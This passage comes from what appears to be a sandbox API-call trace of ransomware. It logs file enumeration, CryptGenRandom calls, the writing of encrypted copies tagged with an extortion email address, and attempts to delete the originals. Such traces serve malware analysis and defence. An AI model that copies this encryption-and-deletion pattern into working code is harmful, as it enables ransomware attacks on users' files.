hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.523] CloseHandle (hObject=0x39c) returned 1 [0230.523] CloseHandle (hObject=0x334) returned 1 [0230.523] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe")) returned 0 [0230.524] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll", lpFilePart=0x9bada4*="WordpadFilter.dll") returned 0x3f [0230.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0230.524] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0230.524] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.524] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6d0a2500, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0230.525] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6d0a2500, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0230.525] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0230.525] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us\\wordpad.exe.mui")) returned 0x20 [0230.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0230.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0230.526] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui", lpFilePart=0x9bada4*="wordpad.exe.mui") returned 0x43 [0230.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0230.526] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0230.527] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.527] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775f2f48, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775f2f48, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775f2f48, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0230.528] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0230.529] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0230.529] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us")) returned 0x10 [0230.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0230.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0230.531] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservice.dll")) returned 0x20 [0230.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0230.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0230.531] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt")) returned 0x20 [0230.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0230.531] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt")) returned 0x20 [0230.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0230.532] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt")) returned 0x20 [0230.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0230.532] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt")) returned 0x20 [0230.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0230.533] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881090, Size=0x20) returned 0x3733ee0 [0230.533] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt")) returned 0x20 [0230.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0230.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0230.534] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll", lpFilePart=0x9bada4*="TableTextService.dll") returned 0x47 [0230.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0230.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0230.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0230.534] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt", lpFilePart=0x9bada4*="TableTextServiceAmharic.txt") returned 0x4e [0230.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0230.535] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a)) returned 1 [0230.535] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0230.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0230.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0230.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.536] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.536] GetFileType (hFile=0x334) returned 0x1 [0230.536] GetFileType (hFile=0x334) returned 0x1 [0230.536] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.537] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.537] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.537] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.537] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.537] GetFileType (hFile=0x39c) returned 0x1 [0230.538] GetFileType (hFile=0x39c) returned 0x1 [0230.538] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.541] CloseHandle (hObject=0x39c) returned 1 [0230.541] CloseHandle (hObject=0x334) returned 1 [0230.541] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceamharic.txt")) returned 0 [0230.542] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt", lpFilePart=0x9bada4*="TableTextServiceArray.txt") returned 0x4c [0230.542] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70)) returned 1 [0230.542] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367155c | out: pbBuffer=0x367155c) returned 1 [0230.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0230.543] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.543] GetFileType (hFile=0x334) returned 0x1 [0230.543] GetFileType (hFile=0x334) returned 0x1 [0230.543] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.543] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.543] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.543] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.543] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.544] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.544] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.544] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.544] GetFileType (hFile=0x39c) returned 0x1 [0230.544] GetFileType (hFile=0x39c) returned 0x1 [0230.544] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.544] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.545] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.545] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.545] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.545] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.545] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.689] CloseHandle (hObject=0x39c) returned 1 [0230.690] CloseHandle (hObject=0x334) returned 1 [0230.690] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicearray.txt")) returned 0 [0230.690] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt", lpFilePart=0x9bada4*="TableTextServiceDaYi.txt") returned 0x4b [0230.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0230.691] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775f2f48, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775f2f48, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775f2f48, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500)) returned 1 [0230.691] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367123c | out: pbBuffer=0x367123c) returned 1 [0230.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0230.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0230.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0230.692] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.692] GetFileType (hFile=0x334) returned 0x1 [0230.692] GetFileType (hFile=0x334) returned 0x1 [0230.692] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: 